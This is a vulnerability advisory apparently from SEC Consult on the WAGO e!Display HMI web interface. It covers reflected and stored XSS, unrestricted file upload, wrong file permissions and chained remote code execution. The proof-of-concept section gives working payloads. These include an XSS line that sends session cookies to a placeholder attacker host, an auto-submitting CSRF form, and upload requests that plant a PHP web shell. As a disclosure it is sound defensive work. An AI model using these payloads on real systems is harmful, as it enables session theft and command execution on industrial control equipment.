Business recommendation:
------------------------
HMI displays are widely used in SCADA infrastructures. The link between
their administrative (or informational) web interfaces and the users which
access these interfaces is critical. The presented attacks demonstrate how
simple it is to inject malicious code in order to break the security of this
link by exploiting minimal user interaction.
As a consequence a computer which is used for HMI administration should not
provide any possibility to get compromised via malicious script code.
One possible solution may be e.g.:
* Don't allow email clients
* Don't provide Internet access at all on the HMI stations
SEC Consult recommends to immediately apply the available patches from the vendor.
A thorough security review should be performed by security professionals to
identify further potential security issues.
Vulnerability overview/description:
-----------------------------------
1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981)
Reflected cross site scripting vulnerabilities were identified within multiple PHP
scripts in the admin interface. The parameter JSON input which is sent to the
device is not sanitized sufficiently. An attacker can exploit this
vulnerability to execute arbitrary scripts in the context of the attacked user
and gain control over the active session.
This vulnerability is present for authenticated and unauthenticated users!
2) Stored Cross-Site Scripting (CVE-2018-12981)
A stored cross-site scripting vulnerability was identified within the
"PLC List" which can be configured in the web interface of the e!Display. By
storing a payload there, an administrative or guest user can be attacked
without tricking them to visit a malicious web site or clicking on an
malicious link.
This vulnerability is only present for authenticated users!
3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980)
Arbitrary files can be uploaded to the system without any check. It is even
possible to change the location of the uploaded file on the system. As the
web service does not run as privileged user, it is not possible to upload a
file directly to the web root but on many other locations on the file system.
The normal user 'user' and the administrative user 'admin' can both upload
files to the system.
4) Incorrect Default Permissions (CVE-2018-12979)
Due to incorrect default permissions a file in the web root can be overwritten
by the unprivileged 'www' user. This is the same user which is used in the
context of the web server.
5) Remote code execution via multiple attack vectors
By stacking vulnerability 1)/2), 3) and 4) with this vulnerability an outside
attacker can place a malicious script on the device in order to execute arbitrary
commands as 'www'. This can be done by uploading a web shell or a reverse
shell.
Proof of concept:
-----------------
1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981)
The affected endpoints are:
http://<IP-Address>/wbm/configtools.php
http://<IP-Address>/wbm/login.php
http://<IP-Address>/wbm/receive_upload.php
The following request is an example for reflected XSS within 'configtools.php':
-------------------------------------------------------------------------------
POST /wbm/configtools.php HTTP/1.1
Host: <IP-Address>
Content-type: text/plain
[...]
{"sessionId":"","aDeviceParams":{"0":{"name":"firewall","parameter":["iptables","--get-xml"],"sudo":true,"multiline":true,"timeout":10000},"1":{"name":"firewall","parameter":["firewall","--is-enabled"],"sudo":true,"multiline":true,"timeout":10000,"dataId":"{DoNotParseAsXml}<img
src=x onerror=this.src='http://$attacker:8001/?c='+document.cookie>;"}}}
-------------------------------------------------------------------------------
Steal the cookie via XSS and send it to http://$attacker:8001?c=<Session-ID>:
-------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<IP-Address>/wbm/configtools.php" method="POST"
enctype="text/plain">
<input type="hidden"
name="{"sessionId":"","aDeviceParams":{"0":{"name":"firewall","parameter":["iptables","--get-xml"],"sudo":true,"multiline":true,"timeout":10000},"1":{"name":"firewall","parameter":["firewall","--is-enabled"],"sudo":true,"multiline":true,"timeout":10000,"dataId":"{DoNotParseAsXml}<img src"
value="x onerror=this.src='http://...:8001/?c='+document.cookie>;"}}}"
/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-------------------------------------------------------------------------------
2) Stored Cross-Site Scripting (CVE-2018-12981)
To exploit this vulnerability malicious code has to be placed in the "PLC List"
by surfing to the endpoint http://<IP-Address>/app/index.html and clicking on
the tab "Application->PLC-List". By opening one of the configurable PLCs the
name can be changed in the box "Text:" in order to execute arbitrary script-
code. For example:
<img src=a onerror=alert('SEC_Consult_XSS');alert(document.cookie)>
The payload can also be placed on the device by using the following POST request:
-------------------------------------------------------------------------------
POST /wbm/configtools.php HTTP/1.1
Host: <IP-Address>
[...]
{"sessionId":"<Valid session-ID>
","aDeviceParams":{"0":{"name":"config_plcselect","parameter":[2,"url=https://127.0.0.1:8001","txt=<img
src=a
onerror=alert('SEC_Consult_XSS');alert(document.cookie)>","vkb=enabled","mon=1"],"sudo":true}}}
-------------------------------------------------------------------------------
3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980)
The file path, the file name and the file content can be manipulated in any
way. There is no server-side check for malicious files.
-------------------------------------------------------------------------------
POST /wbm/receive_upload.php HTTP/1.1
Host: <IP-Address>
[...]
Content-Type: multipart/form-data;
boundary=---------------------------728140389204955163192597293

Content-Type: application/x-font-ttf
any-content #!
-----------------------------728140389204955163192597293--
-------------------------------------------------------------------------------
4) Incorrect Default Permissions (CVE-2018-12979)
The file 'index.html' is owned by 'www' and can therefore also be overwritten
with a web shell.
www@WAGO_eDisplay:/var/www ls -la
drwxr-xr-x 5 root root 488 XXX 99 2018 .
drwxr-xr-x 11 root root 824 XXX 99 2018 ..
lrwxrwxrwx 1 root root 16 XXX 99 2018 app -> /var/www/WagoWBM
-rw-r--r-- 1 www www 345 XXX 99 2018 index.html
drwxr-xr-x 7 root root 776 XXX 99 2018 plclist
drwxr-xr-x 3 root root 368 XXX 99 2018 WagoWBM
drwxr-xr-x 2 root root 688 XXX 99 2018 wbm
5) Remote code execution via multiple attack vectors
By uploading a simple PHP shell and overwriting the 'index.html' file located
under the web root an attacker can place a web shell which is reachable without
any authentication.
-------------------------------------------------------------------------------
POST /wbm/receive_upload.php HTTP/1.1
Host: <IP-Address>
[...]
Content-Type: multipart/form-data;
boundary=---------------------------728140389204955163192597293
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="touchWbm"
true
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_type"
font
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="session_id"
<Valid session-ID>
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_directory"
/var/www/
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="font_file"; filename="index.html"
Content-Type: application/x-font-ttf
<html><body>
<form method="GET" name="SEC Consult PoC" action="">
<input type="text" name="command"><input type="submit" value="Send"></form>
<pre><?php if($_GET['command']){system($_GET['command']);} ?></pre>
</body></html>
-----------------------------728140389204955163192597293--
-------------------------------------------------------------------------------
The shell can now be reached via "http://<IP-Address>/index.html". It is also
possible to upload a reverse-shell to the system which connects to a computer
outside of the actual network.
